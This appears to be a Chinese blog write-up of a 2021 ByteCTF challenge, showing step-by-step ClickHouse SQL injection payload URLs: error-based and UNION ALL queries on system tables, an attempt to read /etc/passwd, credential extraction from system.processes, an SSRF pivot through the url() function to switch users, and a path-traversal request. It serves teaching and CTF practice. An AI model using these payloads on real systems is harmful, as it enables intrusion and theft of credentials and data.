c1ay's blog

通过2021 ByteCTF double sqli初探clickghouse sqli

字数统计: 1.1k阅读时长: 5 min
2021/10/19 Share

通过2021 ByteCTF double sqli初探clickghouse sqli

通过该题顺便学习了一波clickhouse注入
根据数据库报错得知是clickhouse数据库:

1
http://39.105.175.150:30001/?id=1'

mark

官方文档:
https://clickhouse.com/docs/zh/

SQL注入资料:
https://blog.deteact.com/yandex-clickhouse-injection/

从资料当中得到两点比较重要的:

1
2
1、与某些 SQL 方言不同,ClickHouse 具有严格的类型。类型之间没有隐式转换。
2、ClickHouse 不支持标准的 UNION,只支持 UNION ALL 来合并请求

可以得到两种注入方法:

1、通过强类型进行报错注入,这点类似于sqlserver的报错注入:

比较运算:

1
http://39.105.175.150:30001/?id=1%20and%201=version()

mark

Cannot convert string 21.3.2.5 to type UInt8

类型转换:

1
http://39.105.175.150:30001/?id=1%20and%20cast(version()%20as%20int)

mark

Cannot parse string '21.3.2.5' as Int32

获得版本号为21.3.2.5

2、通过union all进行回显注入,注意前后字段不仅数量要一致,类型也要一致,类型不一致的需要用cast进行类型转换

也可以通过union all通过报错获取数据表的列名,当前后字段数不一致时,会将表中的字段名报错出来,例如:

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20*%20from%20system.databases

mark

可以看到通过报错获取了system.databases表中的字段名有name, engine, data_path, metadata_path, uuid,至于这个表是做什么的后面会说

获取当前用户名:

system.processes可以查看当前数据库进程的一些信息,例如进行查询的用户、执行的语句等
mark

所以可以从system.processes获取当前数据库用户名:

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20user%20from%20system.processes

mark

当前用户为user_02

获取数据库名:

从系统表system.databases当中获得当前用户可以看到的数据库名(类似于mysql当中的information_schema.schemata
mark

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20name%20from%20system.databases

mark

获取到数据库名有ctf、default

获取表名:

可以通过system.tables(类似于mysql当中的information_schema.tables
mark

获取所有可以看到的表名hint、hello

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20name%20from%20system.tables

mark

获取ctf下的表名为hint

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20name%20from%20system.tables%20where%20database=%27ctf%27

mark

获取default下的表名为hello

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20name%20from%20system.tables%20where%20database=%27default%27

mark

获取列名:

可以通过system.columns(类似于mysql当中的information_schema.columns
mark

获取所有可以看到的列名为id、ByteCTF

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20name%20from%20system.columns

mark

获取ctf.hint下的列名为id:

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20name%20from%20system.columns%20where%20database=%27ctf%27%20and%20table=%27hint%27

mark

获取数据:

获取ctf.hint当中的提示:

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20id%20from%20ctf.hint

或者

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20*%20from%20ctf.hint

mark

hint说没有权限获取flag

you_dont_have_permissions_to_read_flag

尝试读一下ctf.flag,当前用户user_02确实是没有权限

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20*%20from%20ctf.flag

mark

根据这道题的名字double sqli,看来需要先拿到其他有权限用户的账号密码进行注入

题目一开始给了提示

mark

something in files指的应该是对应链接的一张图片,无奈自己这里没看出里面藏有什么

尝试用file函数读文件也无果,限制了目录

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20file(%27/etc/passwd%27)

mark

只允许/var/lib/clickhouse/user_files/目录

非预期解?

最终在system.processes表的query当中看到了user_02和user_01的密码,上面也说了system.processesquery当中记录了当前执行的查询

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20query%20from%20system.processes

mark

user_02 e4649b934ca495991b78

user_01 e3b0c44298fc1c149afb

而cilckhouse支持通过http客户端进行查询,并且该题目url函数没被禁用

http客户端接口:
mark

url表函数:
mark

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20*%20from%20url(%27http://127.0.0.1:8123%27,CSV,%27col%20String%27)

可以看到返回了OK,http客户端可以正常请求clickhouse server

mark

通过url表函数和http客户端切换数据库用户为user_01,成功查询出了ctf.flag(注意URL的编码问题)

1
http://39.105.175.150:30001/?id=1%20union%20all%20select%20*%20from%20url(%27http://127.0.0.1:8123?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520*%2520from%2520ctf.flag;%27,CSV,%27col%20String%27)

mark

flag:
ByteCTF{e3b0c44298fc1c149afbf4c8}

赛后补充:

赛后看了其他师傅的wp,预期解是穿越目录获取的user_01密码

1
http://39.105.175.150:30001/files../var/lib/clickhouse/access/3349ea06-b1c1-514f-e1e9-c8d6e8080f89.sql

mark

CATALOG
  1. 1. 通过2021 ByteCTF double sqli初探clickghouse sqli
    1. 1.0.1. 1、通过强类型进行报错注入,这点类似于sqlserver的报错注入:
    2. 1.0.2. 2、通过union all进行回显注入,注意前后字段不仅数量要一致,类型也要一致,类型不一致的需要用cast进行类型转换
    3. 1.0.3. 获取当前用户名:
    4. 1.0.4. 获取数据库名:
    5. 1.0.5. 获取表名:
    6. 1.0.6. 获取列名:
    7. 1.0.7. 获取数据:
    8. 1.0.8. 非预期解?
    9. 1.0.9. 赛后补充: